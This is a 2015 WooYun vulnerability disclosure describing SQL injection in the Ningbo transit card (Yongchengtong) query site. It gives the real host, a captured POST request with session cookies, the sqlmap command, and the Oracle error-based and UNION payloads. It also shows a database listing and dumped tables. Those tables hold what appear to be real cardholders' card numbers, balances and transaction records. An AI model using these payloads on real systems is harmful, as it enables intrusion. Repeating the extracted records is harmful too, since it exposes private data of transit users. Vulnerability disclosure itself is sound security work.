当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138843

漏洞标题:宁波市公交系统存在SQL注入漏洞可泄露大量公交卡信息

相关厂商:宁波市甬城通智能卡有限公司

漏洞作者: 路人甲

提交时间:2015-09-06 15:44

修复时间:2015-10-21 15:46

公开时间:2015-10-21 15:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

问题简介:该网站提供宁波市所有市民公交卡信息查询功能,多个参数过滤不严,导致泄露市民大量信息
产品简介:甬城通卡是针对不同人群发放的应用于公共交通领域的各类公交卡,主要分为普惠卡、特惠卡、高龄老人免费乘车卡、重度残疾人免费乘车卡(爱心卡)、离休干部免费乘车卡、城际通卡、宁波互联互通交通卡

详细说明:

0x01:Post注入,在提交表单的时候拦截下面一个请求,并保存为ceshi.txt

POST /card_xf.asp HTTP/1.1
Host: www.0574ic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.0574ic.com/card_xf.asp
Cookie: ASPSESSIONIDQQQQBDBS=OGBKCKLDPOIEJACMJLONGLAM; CNZZDATA278493=cnzz_eid%3D13126362-1441260863-%26ntime%3D1441260863; CNZZDATA1533989=cnzz_eid%3D1971339308-1441257034-%26ntime%3D1441257034
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
kbh=111&Submit2=%B2%E9%D1%AF


0x02:证明存在性:

sqlmap.py -r ceshi.txt --dbs


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: kbh (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: kbh=111' AND 5304=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (5304=5304) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND 'OBiv'='OBiv&Submit2=%B2%E9%D1%AF
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: kbh=111' UNION ALL SELECT NULL,NULL,NULL,NULL,CHR(113)||CHR(106)||CHR(118)||CHR(112)||CHR(113)||CHR(100)||CHR(114)||CHR(83)||CHR(107)||CHR(109)||CHR(114)||CHR(114)||CHR(116)||CHR(113)||CHR(77)||CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113),NULL,NULL,NULL FROM DUAL-- &Submit2=%B2%E9%D1%AF
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Oracle
available databases [8]:
[*] BALANCE
[*] CTXSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS


0x03:泄露大量信息,证明其危害性

Database: MDSYS
Table: SDO_DATUMS
[118 entries]
+-----------------------------+---------+---------+---------+----------+----------+----------+--------------+
| NAME | SHIFT_Z | SHIFT_X | SHIFT_Y | ROTATE_X | ROTATE_Y | ROTATE_Z | SCALE_ADJUST |
+-----------------------------+---------+---------+---------+----------+----------+----------+--------------+
| Adindan | 206 | -162 | -12 | 0 | 0 | 0 | 0 |
| Afgooye | 45 | -43 | -163 | 0 | 0 | 0 | 0 |
| Ain el Abd 1970 | -2 | -150 | -251 | 0 | 0 | 0 | 0 |
| Anna 1 Astro 1965 | 435 | -491 | -22 | 0 | 0 | 0 | 0 |
| Arc 1950 | -294 | -143 | -90 | 0 | 0 | 0 | 0 |
| Arc 1960 | -300 | -160 | -8 | 0 | 0 | 0 | 0 |
| Ascension Island 1958 | 52 | -207 | 107 | 0 | 0 | 0 | 0 |
| Astro Beacon E | -272 | 145 | 75 | 0 | 0 | 0 | 0 |
| Astro B4 Sorol Atoll | -333 | 114 | -116 | 0 | 0 | 0 | 0 |
| Astro DOS 71/4 | -494 | -320 | 550 | 0 | 0 | 0 | 0 |
| Astronomic Station 1952 | -25 | 124 | -234 | 0 | 0 | 0 | 0 |
| Australian Geodetic 1966 | 148 | -133 | -48 | 0 | 0 | 0 | 0 |
| Australian Geodetic 1984 | 149 | -134 | -48 | 0 | 0 | 0 | 0 |
| Bellevue (IGN) | 472 | -127 | -769 | 0 | 0 | 0 | 0 |
| Bermuda 1957 | 296 | -73 | 213 | 0 | 0 | 0 | 0 |
| Bogota Observatory | -318 | 307 | 304 | 0 | 0 | 0 | 0 |
| Campo Inchauspe | 90 | -148 | 136 | 0 | 0 | 0 | 0 |
| Canton Astro 1966 | -375 | 298 | -304 | 0 | 0 | 0 | 0 |
| Cape | -292 | -136 | -108 | 0 | 0 | 0 | 0 |
| Cape Canaveral | 181 | -2 | 150 | 0 | 0 | 0 | 0 |
| Carthage | 431 | -263 | 6 | 0 | 0 | 0 | 0 |
| Chatham 1971 | 113 | 175 | -38 | 0 | 0 | 0 | 0 |
| Chua Astro | -29 | -134 | 229 | 0 | 0 | 0 | 0 |
| Corrego Alegre | -6 | -206 | 172 | 0 | 0 | 0 | 0 |
| Djakarta (Batavia) | -50 | -377 | 681 | 0 | 0 | 0 | 0 |
| DOS 1968 | -752 | 230 | -199 | 0 | 0 | 0 | 0 |
| Easter Island 1967 | 111 | 211 | 147 | 0 | 0 | 0 | 0 |
| European 1950 | -121 | -87 | -98 | 0 | 0 | 0 | 0 |
| European 1979 | -119 | -86 | -98 | 0 | 0 | 0 | 0 |
| Gandajika Base | 50 | -133 | -321 | 0 | 0 | 0 | 0 |
| Geodetic Datum 1949 | 209 | 84 | -22 | 0 | 0 | 0 | 0 |
| GRS 67 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| GRS 80 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| Guam 1963 | 259 | -100 | -248 | 0 | 0 | 0 | 0 |
| GUX 1 Astro | -751 | 252 | -209 | 0 | 0 | 0 | 0 |
| Hito XVIII 1963 | 93 | 16 | 196 | 0 | 0 | 0 | 0 |
| Hjorsey 1955 | -86 | -73 | 46 | 0 | 0 | 0 | 0 |
| Hong Kong 1963 | -189 | -156 | -271 | 0 | 0 | 0 | 0 |
| Hu-Tzu-Shan | -201 | -634 | -549 | 0 | 0 | 0 | 0 |
| Indian (Thailand/Vietnam) | 303 | 214 | 836 | 0 | 0 | 0 | 0 |
| Indian (Bangladesh, etc.) | 257 | 289 | 734 | 0 | 0 | 0 | 0 |
| Ireland 1965 | 611 | 506 | -122 | 0 | 0 | 0 | 0 |
| ISTS 073 Astro 1969 | -229 | 208 | -435 | 0 | 0 | 0 | 0 |
| Johnston Island 1961 | -204 | 191 | -77 | 0 | 0 | 0 | 0 |
| Kandawala | 86 | -97 | 787 | 0 | 0 | 0 | 0 |
| Kerguelen Island | 103 | 145 | -187 | 0 | 0 | 0 | 0 |
| Kertau 1948 | 5 | -11 | 851 | 0 | 0 | 0 | 0 |
| L.C. 5 Astro | 147 | 42 | 124 | 0 | 0 | 0 | 0 |
| Liberia 1964 | 88 | -90 | 40 | 0 | 0 | 0 | 0 |
| Luzon (Philippines) | -51 | -133 | -77 | 0 | 0 | 0 | 0 |
| Luzon (Mindanao Island) | -72 | -133 | -79 | 0 | 0 | 0 | 0 |
| Mahe 1971 | -134 | 41 | -220 | 0 | 0 | 0 | 0 |
| Marco Astro | 60 | -289 | -124 | 0 | 0 | 0 | 0 |
| Massawa | 60 | 639 | 405 | 0 | 0 | 0 | 0 |
| Merchich | 47 | 31 | 146 | 0 | 0 | 0 | 0 |
| Midway Astro 1961 | 1227 | 912 | -58 | 0 | 0 | 0 | 0 |
| Minna | 122 | -92 | -93 | 0 | 0 | 0 | 0 |
| Nahrwan (Masirah Island) | 369 | -247 | -148 | 0 | 0 | 0 | 0 |
| Nahrwan (Un. Arab Emirates) | 381 | -249 | -156 | 0 | 0 | 0 | 0 |
| Nahrwan (Saudi Arabia) | 482 | -231 | -196 | 0 | 0 | 0 | 0 |
| Naparima, BWI | 172 | -2 | 374 | 0 | 0 | 0 | 0 |
| NAD 27 (Continental US) | 176 | -8 | 160 | 0 | 0 | 0 | 0 |
| NAD 27 (Alaska) | 172 | -5 | 135 | 0 | 0 | 0 | 0 |
| NAD 27 (Bahamas) | 178 | -4 | 154 | 0 | 0 | 0 | 0 |
| NAD 27 (San Salvador) | 165 | 1 | 140 | 0 | 0 | 0 | 0 |
| NAD 27 (Canada) | 187 | -10 | 158 | 0 | 0 | 0 | 0 |
| NAD 27 (Canal Zone) | 201 | 0 | 125 | 0 | 0 | 0 | 0 |
| NAD 27 (Caribbean) | 178 | -7 | 152 | 0 | 0 | 0 | 0 |
| NAD 27 (Central America) | 194 | 0 | 125 | 0 | 0 | 0 | 0 |
| NAD 27 (Cuba) | 178 | -9 | 152 | 0 | 0 | 0 | 0 |
| NAD 27 (Greenland) | 195 | 11 | 114 | 0 | 0 | 0 | 0 |
| NAD 27 (Mexico) | 190 | -12 | 130 | 0 | 0 | 0 | 0 |
| NAD 27 (Michigan) | 176 | -8 | 160 | 0 | 0 | 0 | 0 |
| NAD 83 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| Observatorio 1966 | 81 | -425 | -169 | 0 | 0 | 0 | 0 |
| Old Egyptian | -13 | -130 | 110 | 0 | 0 | 0 | 0 |
| Old Hawaiian | -181 | 61 | -285 | 0 | 0 | 0 | 0 |
| Oman | 224 | -346 | -1 | 0 | 0 | 0 | 0 |
| Ordinance Survey Great Brit | 431 | 375 | -111 | 0 | 0 | 0 | 0 |
| Pico de las Nieves | 127 | -307 | -92 | 0 | 0 | 0 | 0 |
| Pitcairn Astro 1967 | 42 | 185 | 165 | 0 | 0 | 0 | 0 |
| Provisional South American | -376 | -288 | 175 | 0 | 0 | 0 | 0 |
| Puerto Rico | -101 | 11 | 72 | 0 | 0 | 0 | 0 |
| Qatar National | 22 | -128 | -283 | 0 | 0 | 0 | 0 |
| Qornoq | -189 | 164 | 138 | 0 | 0 | 0 | 0 |
| Reunion | -1262 | 94 | -948 | 0 | 0 | 0 | 0 |
| Rome 1940 | 9 | -225 | -65 | 0 | 0 | 0 | 0 |
| Santo (DOS) | 84 | 170 | 42 | 0 | 0 | 0 | 0 |
| Sao Braz | 53 | -203 | 141 | 0 | 0 | 0 | 0 |
| Sapper Hill 1943 | 74 | -355 | 16 | 0 | 0 | 0 | 0 |
| Schwarzeck | -251 | 616 | 97 | 0 | 0 | 0 | 0 |
| South American 1969 | -41 | -57 | 1 | 0 | 0 | 0 | 0 |
| South Asia | -26 | 7 | -10 | 0 | 0 | 0 | 0 |
| Southeast Base | 314 | -499 | -249 | 0 | 0 | 0 | 0 |
| Southwest Base | -38 | -104 | 167 | 0 | 0 | 0 | 0 |
| Timbalai 1948 | -46 | -689 | 691 | 0 | 0 | 0 | 0 |
| Tokyo | 664 | -128 | 481 | 0 | 0 | 0 | 0 |
| Tristan Astro 1968 | -609 | -632 | 438 | 0 | 0 | 0 | 0 |
| Viti Levu 1916 | -36 | 51 | 391 | 0 | 0 | 0 | 0 |
| Wake-Eniwetok 1960 | -39 | 101 | 52 | 0 | 0 | 0 | 0 |
| WGS 60 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| WGS 66 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| WGS 72 | 10 | 0 | 8 | 0 | 0 | 0 | 0 |
| WGS 84 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| Yacare | 37 | -155 | 171 | 0 | 0 | 0 | 0 |
| Zanderij | -358 | -265 | 120 | 0 | 0 | 0 | 0 |
| NTF (Greenwich meridian) | 320 | -168 | -60 | 0 | 0 | 0 | 0 |
| European 1987 | -113 | -83 | -96 | 0 | 0 | 0 | 0 |
| Netherlands Bessel | 478 | 593 | 26 | 0 | 0 | 0 | 0 |
| Belgium Hayford | 129 | 81 | 120 | 0 | 0 | 0 | 0 |
| NWGL 10 | 1 | -1 | 15 | 0 | 0 | 0 | 0 |
| RT 90 (Sweden) | 568 | 498 | -36 | 0 | 0 | 0 | 0 |
| Lisboa (DLx) | 105 | -303 | -62 | 0 | 0 | 0 | 0 |
| Melrica 1973 (D73) | 37 | -223 | 110 | 0 | 0 | 0 | 0 |
| DHDN (Potsdam/Rauenberg) | 414 | 582 | 105 | -1.04 | -.35 | 3.08 | 8.3 |
| Pulkovo 1942 | -94 | 24 | -123 | -.02 | .25 | .13 | 1.1 |
| NTF (Paris meridian) | 320 | -168 | -60 | 0 | 0 | 0 | 0 |
| CH 1903 (Switzerland) | 369.344 | 660.077 | 13.551 | .804816 | .577692 | .952236 | 5.66 |
+-----------------------------+---------+---------+---------+----------+----------+----------+--------------+


Database: BALANCE
Table: QY_XFJLK
[33 entries]
+------------------+-----+------+----------+----------+--------+----------+-------+------+------+------+--------+------+--------+------+------+--------+---------------------+---------------------+-------+-------+-------+------------+---------------------+--------------+--------+--------+--------------+---------------------+--------+---------+----------+----------+-----------+-----------+
| KBH | KLX | JLBZ | CSNK | STAC | RYBH | XFSJ | KSYE | XFJE | ARBH | SJLX | XLBH | DWBZ | SFJH | DWBH | CLBZ | QCBH | XFRQ | DATEE | SPAGE | OUTPC | SFILE | CARDNO | BZXFRQ | LISTNO | FILELX | HYCODE | RPOSBH | QSDATE | POSVER | PSAMVER | CITYCODE | CLIENTNO | DEALCOUNT | POSDEALNO |
+------------------+-----+------+----------+----------+--------+----------+-------+------+------+------+--------+------+--------+------+------+--------+---------------------+---------------------+-------+-------+-------+------------+---------------------+--------------+--------+--------+--------------+---------------------+--------+---------+----------+----------+-----------+-----------+
| 0003154000006413 | T | 54 | 26F0A080 | BF69C96F | 003246 | 15:16:38 | 48.3 | 0 | 00 | 30 | 003010 | E0 | 040292 | 1040 | 09 | 048512 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 120 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118198569 | WB | 0000 | 315001021829 | 2015-05-17 00:00:00 | 1014 | 01 | 3150 | 1000 | 0008 | 0000715A |
| 0003154000017196 | T | 54 | 457DA080 | 111C5B28 | 000000 | 08:03:18 | 100.7 | 1.2 | 00 | 30 | 001590 | E0 | 734210 | 7000 | 06 | 591152 | 2015-07-04 00:00:00 | 2015-07-04 00:00:00 | 1 | 0 | 2869 | 0000000000 | 2015-07-03 00:00:00 | 7G0034076077 | WB | 0100 | 315001023856 | 2015-07-05 00:00:00 | 1015 | 01 | 3150 | 7000 | 0055 | 00008589 |
| 0003154000016560 | T | 54 | F776A880 | 01FBA257 | 000000 | 15:59:12 | 36.7 | 1.2 | 00 | 30 | 001060 | E0 | 700289 | 7000 | 09 | 061336 | 2015-05-19 00:00:00 | 2015-05-20 00:00:00 | 1 | 0 | 2808 | 0000000000 | 2015-05-19 00:00:00 | 7G0030960583 | WB | 0100 | 315001023046 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 7000 | 0002 | 000049BD |
| 0003154000016206 | T | 54 | 815EA180 | A67D9447 | 000000 | 12:23:16 | 1.4 | 1.2 | 00 | 30 | 001050 | E0 | 700402 | 7000 | 09 | 053200 | 2015-05-19 00:00:00 | 2015-05-20 00:00:00 | 1 | 0 | 2808 | 0000000000 | 2015-05-19 00:00:00 | 7G0030969596 | WB | 0800 | 315001023216 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 7000 | 0029 | 0000300E |
| 0003154000016958 | T | 54 | B53FF0E0 | 5B0F65ED | 003289 | 07:11:58 | 8.2 | 0 | 00 | 30 | 000070 | E0 | 040400 | 1040 | 09 | 048311 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1 | 120 | 3494 | 0000000000 | 2015-05-20 00:00:00 | G00119334899 | WB | 2600 | 315001021541 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 1000 | 001F | 00008CDA |
| 0003154000009516 | T | 54 | 4685A880 | F058BA44 | 000000 | 15:07:50 | 85.6 | 1.2 | 00 | 30 | 001650 | E0 | 700188 | 7000 | 06 | 657956 | 2015-05-23 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2870 | 0000000000 | 2015-05-23 00:00:00 | 7G0034089711 | WB | 0100 | 315001023529 | 2015-07-06 00:00:00 | 1014 | 01 | 3150 | 7000 | 000F | 000008B7 |
| 0003154000024705 | T | 54 | DA8EA880 | 90A476B1 | 006133 | 17:09:53 | 92.2 | 1.2 | 00 | 30 | 008160 | E0 | 040591 | 1040 | 09 | 041851 | 2015-08-14 00:00:00 | 2015-08-14 00:00:00 | 1 | 0 | 3580 | 0000000000 | 2015-08-14 00:00:00 | G00139894511 | WB | 3901 | 315001021845 | 2015-08-15 00:00:00 | 1015 | 01 | 3150 | 1000 | 0056 | 0000CE69 |
| 0003154000017261 | T | 54 | 2ED4A080 | D3DDE6D7 | 004917 | 12:55:43 | 32.8 | 1.2 | 00 | 30 | 008090 | E0 | 031055 | 1030 | 06 | 031662 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 0 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118254870 | WB | 2201 | 315001008520 | 2015-05-17 00:00:00 | 0315 | 01 | 3150 | 1000 | 0005 | 00016FA5 |
| 0003154000016958 | T | 54 | B53FF0E0 | 949AC37D | 008134 | 07:19:41 | 7 | 1.2 | 00 | 30 | 003010 | E0 | 040582 | 1040 | 09 | 048508 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1 | 0 | 3494 | 0000000000 | 2015-05-20 00:00:00 | G00119209107 | WB | 1000 | 315001021991 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 1000 | 0020 | 00004D6B |
| 0003154000012098 | T | 54 | 21DBA280 | E46BD889 | 016342 | 16:40:45 | 33.4 | 1.2 | 00 | 30 | 009060 | E0 | 600184 | 6000 | 09 | 090611 | 2015-07-04 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2858 | 0000000000 | 2015-07-04 00:00:00 | 6G0004641859 | WB | 0000 | 315001010365 | 2015-07-06 00:00:00 | 0315 | 01 | 3150 | 6000 | 0008 | 00004DA4 |
| 0003154000009227 | T | 54 | 9A85A880 | 8C1C30D2 | 008349 | 17:03:28 | 100.9 | 1.2 | 00 | 30 | 000100 | E0 | 030766 | 1030 | 06 | 038058 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1 | 0 | 3496 | 0000000000 | 2015-05-22 00:00:00 | G00119822767 | WB | 1100 | 315001021472 | 2015-05-25 00:00:00 | 1014 | 01 | 3150 | 1000 | 000B | 000061BB |
| 0003154000010464 | T | 54 | 45B6A280 | EDD29B98 | 004108 | 12:13:38 | 35.2 | 0 | 00 | 30 | 005180 | E0 | 031041 | 1030 | 09 | 033139 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 120 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118253139 | WB | 2401 | 315001008439 | 2015-05-17 00:00:00 | 0314 | 01 | 3150 | 1000 | 0005 | 0001E538 |
| 0003154000009516 | T | 54 | 4685A880 | F058BA44 | 000000 | 15:07:50 | 85.6 | 1.2 | 00 | 30 | 001650 | E0 | 700188 | 7000 | 06 | 657956 | 2015-05-23 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2870 | 0000000000 | 2015-05-23 00:00:00 | 7G0034089711 | WB | 0100 | 315001023529 | 2015-07-06 00:00:00 | 1014 | 01 | 3150 | 7000 | 000F | 000008B7 |
| 0003154000017261 | T | 54 | 2ED4A080 | 2284A89A | 005715 | 14:16:50 | 31.6 | 1.2 | 00 | 30 | 003800 | E0 | 050050 | 1050 | 09 | 058710 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 0 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118264254 | WB | 3000 | 315001022573 | 2015-05-17 00:00:00 | 1014 | 01 | 3150 | 1000 | 0006 | 00007F14 |
| 0003154000006413 | T | 54 | 26F0A080 | BF69C96F | 003246 | 15:16:38 | 48.3 | 0 | 00 | 30 | 003010 | E0 | 040292 | 1040 | 09 | 048512 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 120 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118198569 | WB | 0000 | 315001021829 | 2015-05-17 00:00:00 | 1014 | 01 | 3150 | 1000 | 0008 | 0000715A |
| 0003154000006272 | T | 54 | 00000000 | EE72016C | 000000 | 16:22:32 | 68 | 0 | 00 | 30 | 000001 | E1 | 090413 | 0000 | 00 | 090413 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 0 | 368 | 0000000000 | 2015-05-17 00:00:00 | Q45058498761 | WB | 0000 | 315001016018 | 2015-05-17 00:00:00 | 0000 | 00 | 3150 | 9100 | 0012 | 0000E6BD |
| 0003154000048134 | T | 54 | 7E8EA280 | 44B6142A | 006999 | 17:37:13 | 156.1 | 1.2 | 00 | 30 | 000060 | E0 | 040384 | 1040 | 09 | 048718 | 2015-08-14 00:00:00 | 2015-08-14 00:00:00 | 1 | 0 | 3580 | 0000000000 | 2015-08-14 00:00:00 | G00139881617 | WB | 3801 | 315001021791 | 2015-08-15 00:00:00 | 1015 | 01 | 3150 | 1000 | 001C | 0000908C |
| 0003154000004947 | T | 54 | 1BBAA280 | 2EEA0ED8 | 006547 | 15:59:42 | 75.7 | 1.2 | 00 | 30 | 000090 | E0 | 030562 | 1030 | 09 | 031801 | 2015-08-14 00:00:00 | 2015-08-14 00:00:00 | 1 | 0 | 3580 | 0000000000 | 2015-08-14 00:00:00 | G00139914883 | WB | 0500 | 315001022023 | 2015-08-15 00:00:00 | 1015 | 01 | 3150 | 1000 | 0069 | 0000D4AB |
| 0003154000016958 | T | 54 | B53FF0E0 | 5B0F65ED | 003289 | 07:11:58 | 8.2 | 0 | 00 | 30 | 000070 | E0 | 040400 | 1040 | 09 | 048311 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1 | 120 | 3494 | 0000000000 | 2015-05-20 00:00:00 | G00119334899 | WB | 2600 | 315001021541 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 1000 | 001F | 00008CDA |
| 0003154000016370 | T | 54 | A62AD7C0 | F64AFDEB | 016367 | 10:39:07 | 107.6 | 1.2 | 00 | 30 | 009060 | E0 | 634432 | 6000 | 09 | 090630 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2858 | 0000000000 | 2015-07-04 00:00:00 | 6G0004648707 | WB | 0801 | 315001024734 | 2015-07-06 00:00:00 | 1015 | 01 | 3150 | 6000 | 0021 | 000078E6 |
| 0003154000009227 | T | 54 | 9A85A880 | E87C9416 | 007994 | 09:28:30 | 106.9 | 1.2 | 00 | 30 | 000100 | E0 | 030766 | 1030 | 06 | 038058 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1 | 0 | 3496 | 0000000000 | 2015-05-22 00:00:00 | G00119822679 | WB | 2200 | 315001021472 | 2015-05-25 00:00:00 | 1014 | 01 | 3150 | 1000 | 0006 | 00006162 |
| 0003154000017394 | T | 54 | DE9BF2E0 | 1E9D6B62 | 002595 | 15:39:23 | 31.3 | 1.2 | 00 | 30 | 005180 | E0 | 031020 | 1030 | 09 | 033128 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1 | 0 | 3496 | 0000000000 | 2015-05-22 00:00:00 | G00119845253 | WB | 1400 | 315001008411 | 2015-05-25 00:00:00 | 0314 | 01 | 3150 | 1000 | 0008 | 00024431 |
| 0003154000016958 | T | 54 | B53FF0E0 | 949AC37D | 008134 | 07:19:41 | 7 | 1.2 | 00 | 30 | 003010 | E0 | 040582 | 1040 | 09 | 048508 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1 | 0 | 3494 | 0000000000 | 2015-05-20 00:00:00 | G00119209107 | WB | 1000 | 315001021991 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 1000 | 0020 | 00004D6B |
| 0003154000023145 | T | 54 | CC95A880 | 13F02CBB | 081225 | 13:27:03 | 48.5 | 1.2 | 00 | 30 | 007530 | E0 | 801057 | 8010 | 09 | 811019 | 2015-06-30 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2632 | 0000000000 | 2015-06-29 00:00:00 | 8G0022966366 | WB | 4000 | 315001010211 | 2015-07-06 00:00:00 | 0315 | 01 | 3150 | 8000 | 005C | 00008CE2 |
| 0003154000006272 | T | 54 | 00000000 | 1245CB7B | 000000 | 16:46:53 | 64.2 | 3.8 | 00 | 30 | 000001 | E0 | 200418 | 0000 | 00 | 200418 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 0 | 368 | 0000000000 | 2015-05-17 00:00:00 | Q45058500108 | WB | 0000 | 315001015783 | 2015-05-17 00:00:00 | 0000 | 00 | 3150 | 9100 | 0013 | 00004358 |
| 0003154000001265 | T | 54 | C58BA280 | 6764CD9D | 016702 | 11:07:59 | 181.3 | 1.2 | 00 | 30 | 009060 | E0 | 634425 | 6000 | 09 | 090618 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2858 | 0000000000 | 2015-07-05 00:00:00 | 6G0004647304 | WB | 1201 | 315001024742 | 2015-07-06 00:00:00 | 1014 | 01 | 3150 | 6000 | 0020 | 00006C55 |
| 0003154000000358 | T | 54 | EE1DD7C0 | DA30EC3D | 003721 | 07:18:58 | 173.2 | 0 | 00 | 30 | 005280 | E0 | 030570 | 1030 | 09 | 038171 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 120 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118188348 | WB | 5301 | 315001022120 | 2015-05-17 00:00:00 | 1014 | 01 | 3150 | 1000 | 0015 | 0000A2CE |
| 0003154000000358 | T | 54 | EE1DD7C0 | 911F158E | 008641 | 17:43:29 | 172 | 1.2 | 00 | 30 | 005280 | E0 | 030715 | 1030 | 06 | 038864 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 0 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118190568 | WB | 0500 | 315001022140 | 2015-05-17 00:00:00 | 1014 | 01 | 3150 | 1000 | 0017 | 000054C4 |
| 0003154000017394 | T | 54 | DE9BF2E0 | 1E9D6B62 | 002595 | 15:39:23 | 31.3 | 1.2 | 00 | 30 | 005180 | E0 | 031020 | 1030 | 09 | 033128 | 2015-05-22 00:00:00 | 2015-05-22 00:00:00 | 1 | 0 | 3496 | 0000000000 | 2015-05-22 00:00:00 | G00119845253 | WB | 1400 | 315001008411 | 2015-05-25 00:00:00 | 0314 | 01 | 3150 | 1000 | 0008 | 00024431 |
| 0003154000017261 | T | 54 | 2ED4A080 | 5D614788 | 005715 | 14:16:55 | 30.4 | 1.2 | 00 | 30 | 003800 | E0 | 050050 | 1050 | 06 | 058710 | 2015-05-16 00:00:00 | 2015-05-16 00:00:00 | 1 | 0 | 3489 | 0000000000 | 2015-05-16 00:00:00 | G00118264255 | WB | 3000 | 315001022573 | 2015-05-17 00:00:00 | 1014 | 01 | 3150 | 1000 | 0007 | 00007F15 |
| 0003154000028979 | T | 54 | 00000000 | 90E979D3 | 000000 | 16:37:20 | 164.8 | 0 | 00 | 30 | 000001 | E1 | 140401 | 0000 | 00 | 140401 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 418 | 0000000000 | 2015-07-06 00:00:00 | Q45067376794 | WB | 0000 | 315001015758 | 2015-07-06 00:00:00 | 0000 | 00 | 3150 | 9100 | 001F | 0001B719 |
| 0003154000016958 | T | 54 | B53FF0E0 | 949AC37D | 008134 | 07:19:41 | 7 | 1.2 | 00 | 30 | 003010 | E0 | 040582 | 1040 | 09 | 048508 | 2015-05-20 00:00:00 | 2015-05-20 00:00:00 | 1 | 0 | 3494 | 0000000000 | 2015-05-20 00:00:00 | G00119209107 | WB | 1000 | 315001021991 | 2015-05-21 00:00:00 | 1014 | 01 | 3150 | 1000 | 0020 | 00004D6B |
| 0003154000016834 | T | 54 | 7665A880 | E193E4EC | 000000 | 09:02:46 | 76.8 | 1.2 | 00 | 30 | 001060 | E0 | 700145 | 7000 | 09 | 061310 | 2015-07-05 00:00:00 | 2015-07-05 00:00:00 | 1 | 0 | 2870 | 0000000000 | 2015-07-04 00:00:00 | 7G0034086322 | WB | 0300 | 315001023038 | 2015-07-06 00:00:00 | 1015 | 01 | 3150 | 7000 | 00BB | 00005E84 |
+------------------+-----+------+----------+----------+--------+----------+-------+------+------+------+--------+------+--------+------+------+--------+---------------------+---------------------+-------+-------+-------+------------+---------------------+--------------+--------+--------+--------------+---------------------+--------+---------+----------+----------+-----------+-----------+
Database: BALANCE
Table: WD_SFBZK
[100 entries]
+---------------------+------+------+------------------+--------+-------+----------+----------+-------+-------+--------------+
| SZRQ | KSYE | SFLB | YJPK | YGBH | SFJLX | TIME1 | TIME2 | SFJE1 | SFJE2 | LISTNO |
+---------------------+------+------+------------------+--------+-------+----------+----------+-------+-------+--------------+
| 2008-12-17 00:00:00 | 5 | B 类 | 03_普通钱包类宁波市民卡 | 099950 | 公交 | | | 1.2 | 0 | E00B03210000 |
